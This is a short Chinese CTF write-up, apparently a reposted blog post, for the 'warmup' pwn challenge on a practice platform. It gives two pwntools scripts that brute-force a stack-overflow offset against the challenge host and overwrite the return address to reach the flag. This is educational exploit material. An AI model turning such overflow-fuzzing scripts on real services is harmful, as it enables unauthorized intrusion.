CTF(pwn)攻防世界warmup

题目描述

在这里插入图片描述
这种题很有意思,只给了题目场景地址没有文件,让你盲打,类似于web中的盲注吧;

在这里插入图片描述
nc连接,给了 目标地址, 思路是:利用栈溢出覆盖,返回这个地址; 具体是溢出多少是不确定的,是P64(),还是 P32() 也是不确定的; 写个EXP逐渐试一下

from pwn import *
b = 0x40060d
for i in range(100):
	print(i)
	p = remote('111.200.241.244',49684)
	payload='a'*i+p64(b)
	p.recvuntil(">")
	p.sendline(payload)
	p.interactive()

在这里插入图片描述

在这里插入图片描述
得到了flag, 若P64() 没有得出答案的话,换成 P32再试一下;也可以设定适当的取值范围来减少时间;

也可以参考另外一种EXP比我这个复杂一点,但操作只有一步:

from pwn import *
b = 0x40060d

def fuzz(p, i, j):
	payload = 'a' * i
	if j==1:
	    payload += p32(b)
	if j==2:
	    payload += p64(b)
	p.recvuntil(">")
	p.sendline(payload)

def main():
	for i in range(100):
	    print(i)
	    for j in range(1, 3):
		try:
		    p = remote('111.200.241.244',45566)
		    fuzz(p, i, j)
		    print p.recv()   
		    p.interactive()
		except:
		    p.close()
main()

猜你喜欢

转载自blog.csdn.net/weixin_45556441/article/details/114436628